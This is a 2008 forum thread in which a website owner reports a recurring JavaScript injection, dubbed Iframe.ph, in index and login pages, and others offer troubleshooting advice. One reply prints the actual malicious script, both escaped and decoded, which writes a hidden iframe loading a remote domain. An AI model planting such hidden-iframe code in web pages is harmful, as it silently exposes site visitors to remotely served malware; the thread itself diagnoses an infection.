got a virus named Iframe.ph on my server

Jawed · July 7, 2008

Hi all,

I have a website running, it was fine few days back but now when a open the site it opens a blank page then i checed the code of the index page then i found that there is a javascript ebmedded in my code in all index pages and login pages, this javascirpt did open a blank page.

I dowloaded whole site, deleted the code form the server scanned the code with kerpersky antivirus and notorn antivirus , both did not showed any virus in the code then i manuallyu checked all index and login named pages and no malacious code was there then i uploaded the site again , but for my bad luck then virus again come in Iframe.ph and again the site is not opening due to the same javascript code??????

i am using dreamweaver cs3 and my site is hosted on netsol. The problem is all the files named as index and login are affected, all the codes in these files get lost and this javascript is embedded

I tried many things but none worked out, even i removed the write permission of index and login files but this too did not work.

Thanks in advance for any kind of help

Can anyone help me in this regard ?????

darkfreaks · July 7, 2008

should use a better antivirus such as NOD32

tibberous · July 7, 2008

Are you sure the virus is part of the files on your server? Maybe your computer got a virus or your account info got stolen, and a remote script is logging in as you and changing the files.

I'd backup your files, reformat, change your password, then go over your site code and try to find the virus. If you are using a big CMS with too much code to wade through, just download the newest version and move your data over. Also, contact netsol and have them make sure you don't have any processes or bad crontabs set to run.

btherl · July 7, 2008

Here's your virus decoded. 1st step:

<script>function check_content(){var i=0;while(document.getElementsByTagName('iframe').length){var el=document.getElementsByTagName('iframe')[i];if( (el.style.display=='none' || el.style.visibility =='hidden' || (el.width<5 && el.height<5)) && el.name!='c4'){el.parentNode.removeChild(el);}else i++;}}check_content();

if(!myia){document.write(unescape( '%3c%69%66%72%61%6d%65%20%6e%61%6d%65%3d%63%34%20%73%72%63%3d%27%68%74%74%70%3a%2f%2f%67%6f%6f%67%6c%65%2d%61%6e%61%6c%69%7a%65%2e%63%6f%6d%2f%69%6e%2e%63%67%69%3f%31%35&%78%75%3d%31&%27%2b%4d%61%74%68%2e%72%6f%75%6e%64%28%4d%61%74%68%2e%72%61%6e%64%6f%6d%28%29%2a%32%34%31%35%32%37%29%2b%27%65%38%61%38%32%39%65%37%64%66%64%27%20%77%69%64%74%68%3d%35%36%33%20%68%65%69%67%68%74%3d%34%32%39%20%73%74%79%6c%65%3d%27%64%69%73%70%6c%61%79%3a%20%6e%6f%6e%65%27%3e%3c%2f%69%66%72%61%6d%65%3e'));}var myia=true;</script>

2nd step (results of unescape()):

<iframe name=c4 src='http://google-analize.com/in.cgi?15&xu=1&'+Math.round(Math.random()*241527)+'e8a829e7dfd' width=563 height=429 style='display: none'></iframe>

If the code keeps coming back then something is placing it there. I think Tibberous gave good advice there.

Sign In

got a virus named Iframe.ph on my server

Recommended Posts

Jawed

Link to comment

Share on other sites

darkfreaks

Link to comment

Share on other sites

tibberous

Link to comment

Share on other sites

btherl

Link to comment

Share on other sites

Join the conversation

Browse

Activity

Important Information